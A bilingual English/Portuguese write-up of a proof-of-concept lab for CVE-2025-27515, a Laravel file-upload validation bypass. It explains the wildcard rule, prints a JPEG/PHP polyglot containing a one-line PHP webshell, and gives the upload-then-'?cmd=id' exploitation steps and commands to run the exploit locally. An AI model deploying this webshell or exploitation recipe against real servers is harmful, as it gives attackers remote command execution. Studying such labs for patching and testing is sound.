CVE-2025-27515: Laravel file-upload validation bypass — polyglot JPEG/PHP PoCCVE-2025-27515: bypass de validação de upload no Laravel — PoC com polyglot JPEG/PHP
A PoC lab for CVE-2025-27515: bypassing Laravel's array/wildcard file-upload validation with a JPEG+PHP polyglot to smuggle a webshell past MIME and extension filters, driven by a Python exploit against a vulnerable upload endpoint.Um lab de PoC para a CVE-2025-27515: burlando a validação de upload por array/wildcard do Laravel com um polyglot JPEG+PHP para passar uma webshell pelos filtros de MIME e extensão, com um exploit em Python contra um endpoint de upload vulnerável.
Proof of concept on GitHubProva de conceito no GitHubAuthorization: this is a self-contained lab built for education and authorized security testing only. Run it against a target you own or are explicitly permitted to test. Uploading webshells to systems you don't control is unauthorized access — and a crime in most jurisdictions.
Summary
CVE-2025-27515 is a file-upload validation bypass in the Laravel framework (versions ≤ 12.0.0), classified as CWE-20 (Improper Input Validation) and rated Medium/High. It lets an attacker upload a malicious file that should have been rejected — the kind of file that turns an innocent "profile picture" form into remote code execution.
This repository is a full attacker-and-victim lab: a deliberately vulnerable Laravel application exposing an array-based upload endpoint, plus a Python exploit that crafts the payload and drives the upload all the way to a working webshell.
How the vulnerability works
Laravel validates uploaded files with rules like file, image, mimes, and
size constraints. When an application accepts multiple files it typically
uses a wildcard rule against an array field:
$request->validate([
'files.*' => 'file|mimes:jpg,png|max:2048',
]);The vulnerability lives in how Laravel processes these array-based file
uploads (files.*). Weaknesses in the wildcard validation path let a crafted
upload slip through the checks that were supposed to constrain type and
extension — so a file the ruleset should have rejected is accepted and written to
disk anyway.
Once validation is bypassed, everything downstream trusts the file: it's stored, often under a web-served path, and the "it's just a JPEG" assumption is what gets exploited.
Affected versions
| Laravel Framework | Status |
|---|---|
≤ 12.0.0 | Vulnerable |
| Patched release | Upgrade to a fixed version and re-verify the rules |
The polyglot payload
The exploit smuggles executable PHP inside a file that still looks and validates like an image — a JPEG/PHP polyglot. Three tricks stack together, each defeating one layer of validation:
FF D8 FF E0 # valid JPEG magic bytes (SOI + APP0)
...JPEG header/data... # keeps MIME sniffing happy → image/jpeg
<?php system($_GET['cmd']); ?> # embedded PHP webshell- JPEG magic bytes
FF D8 FF E0— the file starts with a genuine JPEG signature, so content/MIME sniffing reportsimage/jpegand themimes/imagechecks pass. - Embedded
<?php system($_GET['cmd']); ?>— the actual payload. If the PHP interpreter ever executes this file, it runs whatever command is passed in thecmdquery parameter. .jpgextension — a benign, allowlisted extension that defeats extension-based filters while still routing to the PHP handler on a misconfigured server.
Exploitation
- Craft the JPEG/PHP polyglot — valid JPEG header up front,
<?php ... ?>webshell appended, saved with a.jpgextension. - Upload it through the vulnerable
files.*endpoint. The wildcard validation bypass means the polyglot passes themimes/filerules. - Store — Laravel accepts the file and writes it to a web-accessible upload directory.
- Execute — request the stored file with a command in the query string; the embedded PHP runs and returns command output → remote code execution.
GET /uploads/polyglot.jpg?cmd=idRunning it
Prerequisites: PHP with the Laravel app, Composer dependencies installed, and Python 3.
1. Start the vulnerable application:
php artisan serve
# app is served at http://localhost:8000/upload2. Fire the exploit from a second terminal:
pip3 install -r requirements.txt
python3 exploit.py http://localhost:8000The exploit builds the polyglot, submits it to the upload endpoint, and confirms
the bypass by reaching the stored file — from there the ?cmd= parameter gives
command execution on the target.
References
Autorização: este é um lab autocontido, feito apenas para fins educacionais e testes de segurança autorizados. Rode contra um alvo que você possui ou que você tem permissão explícita para testar. Subir webshell em sistema que você não controla é acesso não autorizado — e crime na maior parte das jurisdições.
Resumo
A CVE-2025-27515 é um bypass de validação de upload de arquivos no framework Laravel (versões ≤ 12.0.0), classificada como CWE-20 (Improper Input Validation) e avaliada como Média/Alta. Ela permite que um atacante suba um arquivo malicioso que deveria ter sido rejeitado — o tipo de arquivo que transforma um inocente formulário de "foto de perfil" em execução remota de código.
Este repositório é um lab completo de atacante e vítima: uma aplicação Laravel propositalmente vulnerável expondo um endpoint de upload baseado em array, mais um exploit em Python que monta o payload e conduz o upload até uma webshell funcional.
Como a vulnerabilidade funciona
O Laravel valida arquivos enviados com regras como file, image, mimes e
restrições de tamanho. Quando uma aplicação aceita múltiplos arquivos, ela
tipicamente usa uma regra com wildcard sobre um campo do tipo array:
$request->validate([
'files.*' => 'file|mimes:jpg,png|max:2048',
]);A vulnerabilidade está em como o Laravel processa esses uploads baseados em
array (files.*). Fraquezas no caminho de validação com wildcard deixam um
upload forjado escapar das checagens que deveriam restringir tipo e extensão —
então um arquivo que o conjunto de regras deveria ter rejeitado é aceito e
gravado em disco assim mesmo.
Uma vez burlada a validação, tudo que vem depois confia no arquivo: ele é armazenado, quase sempre sob um caminho servido pela web, e a suposição de que "é só um JPEG" é exatamente o que acaba sendo explorado.
Versões afetadas
| Framework Laravel | Status |
|---|---|
≤ 12.0.0 | Vulnerável |
| Release corrigida | Atualize para uma versão corrigida e revalide as regras |
O payload polyglot
O exploit contrabandeia PHP executável dentro de um arquivo que continua parecendo — e validando como — uma imagem: um polyglot JPEG/PHP. Três truques se somam, cada um derrubando uma camada de validação:
FF D8 FF E0 # magic bytes válidos de JPEG (SOI + APP0)
...header/dados JPEG... # mantém o sniffing de MIME satisfeito → image/jpeg
<?php system($_GET['cmd']); ?> # webshell PHP embutida- Magic bytes de JPEG
FF D8 FF E0— o arquivo começa com uma assinatura legítima de JPEG, então o sniffing de conteúdo/MIME reportaimage/jpege as checagens demimes/imagepassam. <?php system($_GET['cmd']); ?>embutido — o payload de fato. Se o interpretador PHP algum dia executar esse arquivo, ele roda qualquer comando passado no parâmetrocmdda query string.- Extensão
.jpg— uma extensão benigna e presente na allowlist, que derruba filtros baseados em extensão e ainda assim é roteada para o handler de PHP em um servidor mal configurado.
Exploração
- Monte o polyglot JPEG/PHP — header JPEG válido na frente, webshell
<?php ... ?>no final, salvo com extensão.jpg. - Suba o arquivo pelo endpoint
files.*vulnerável. O bypass da validação com wildcard faz o polyglot passar pelas regrasmimes/file. - Armazenamento — o Laravel aceita o arquivo e o grava em um diretório de upload acessível pela web.
- Execução — requisite o arquivo armazenado com um comando na query string; o PHP embutido roda e devolve a saída do comando → execução remota de código.
GET /uploads/polyglot.jpg?cmd=idRodando o lab
Pré-requisitos: PHP com a aplicação Laravel, dependências do Composer instaladas e Python 3.
1. Suba a aplicação vulnerável:
php artisan serve
# a aplicação é servida em http://localhost:8000/upload2. Dispare o exploit em um segundo terminal:
pip3 install -r requirements.txt
python3 exploit.py http://localhost:8000O exploit monta o polyglot, envia para o endpoint de upload e confirma o bypass
alcançando o arquivo armazenado — daí em diante o parâmetro ?cmd= dá execução
de comandos no alvo.